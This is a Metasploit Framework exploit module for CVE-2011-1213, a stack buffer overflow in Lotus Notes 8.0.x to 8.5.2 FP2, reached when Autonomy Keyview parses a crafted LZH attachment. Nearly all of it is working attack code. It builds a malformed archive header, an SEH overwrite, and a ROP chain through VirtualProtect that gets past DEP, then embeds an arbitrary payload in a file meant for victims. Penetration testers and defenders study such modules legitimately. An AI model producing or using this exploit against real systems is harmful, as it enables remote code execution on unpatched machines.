Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview

`##  
# $Id: lotusnotes_lzh.rb 13015 2011-06-23 15:43:54Z bannedit $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Lotus Notes 8.0.x - 8.5.2 FP2 - Autonomy Keyview(.lzh attachment)',  
'Description' => %q{  
This module exploits a stack buffer overflow in Lotus Notes 8.5.2 when  
parsing a malformed, specially crafted LZH file. This vulnerability was  
discovered binaryhouse.net  
  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'binaryhouse.net', # original discovery  
'alino <[email protected]>', # Metasploit module  
],  
'Version' => '$Revision: 13015 $',  
'References' =>  
[  
['CVE', '2011-1213'],  
['OSVDB', '72706'],  
['BID', '48018'],  
['URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=904'],  
['URL', 'http://www.ibm.com/support/docview.wss?uid=swg21500034'],  
],  
'Stance' => Msf::Exploit::Stance::Passive,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
[ 'Lotus Notes 8.0.x - 8.5.2 FP2 / Windows Universal',  
{  
'Offset' => 6741,  
'Ret' => 0x780c26b2 # POP ECX; POP ECX; RETN MSVCP60.dll  
}  
],  
  
[ 'Lotus Notes 8.5.2 FP2 / Windows Universal / DEP',  
{  
'Offset' => 6745,  
'Ret' => 0x60dc1043 # ADD ESP,52C; XOR EAX,EAX; POP EDI; POP ESI; POP EBX; POP EBP; RETN 4 nnotes.dll  
}  
],  
],  
'DisclosureDate' => 'May 24 2011',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.lzh']),  
], self.class)  
end  
  
def exploit  
  
header = "\x08" # Size of archived file header <-- 8 - 13 = FFFFFFF6  
header << "\x1a" # 1 byte Header checksum  
header << "-lh0-" # Method ID (No compression)  
header << "\x7c\x1a\x00\x00" # Compressed file size  
header << "\x7c\x1a\x00\x00" # Uncompressed file size  
header << "\xB2\x5e\xab\x3c" # Original file date/time  
header << "\x20" # File attribute  
header << "\x00" # Level identifier  
header << "\x07" # File name length  
header << "poc.txt" # File name  
header << "\x25\x7d" # 16 bit CRC of the uncompressed file  
  
lzh = header   
lzh << rand_text(target['Offset'])  
  
if (target == targets[0])  
  
lzh << generate_seh_record(target.ret)  
lzh << make_nops(8)  
lzh << payload.encoded  
  
elsif (target == targets[1])  
  
rop_nop = [0x7c3c5958].pack('V') * 47 # RETN MSVCP71.dll  
  
rop_gadgets =  
[  
0x60524404, # POP EAX; RETN nnotes.dll  
0x7c37a140, # VirtualProtect()   
0x7c3a4000, # MOV EAX,DWORD PTR DS:[EAX]; RETN MSVCP71.dll  
0x603c53c1, # MOV ESI,EAX; RETN nnotes.dll  
0x60620001, # POP EBP; RETN nnotes.dll  
0x7c3c5946, # PUSH ESP; RETN MSVCP71.dll  
0x7c34280f, # POP EBX; RETN MSVCR71.dll  
0x00001954, # dwSize  
0x780ea001, # POP ECX; RETN MSVCP60.dll  
0x7c38b000, # lpflOldProtect  
0x60e73200, # POP EDI; RETN nnotes.dll  
0x60e73201, # RETN nnotes.dll  
0x601d5f02, # POP EDX; RETN nnotes.dll  
0x00000040, # flNewProtect  
0x60524404, # POP EAX; RETN nnotes.dll  
0x90909090, # NOP  
0x60820801, # PUSHAD; RETN nnotes.dll  
].pack("V*")  
  
lzh << [target.ret].pack('V')  
lzh[32, rop_nop.length] = rop_nop  
lzh[220, rop_gadgets.length] = rop_gadgets  
lzh[289, payload.encoded.length] = payload.encoded  
end  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
file_create(lzh)  
end  
end  
`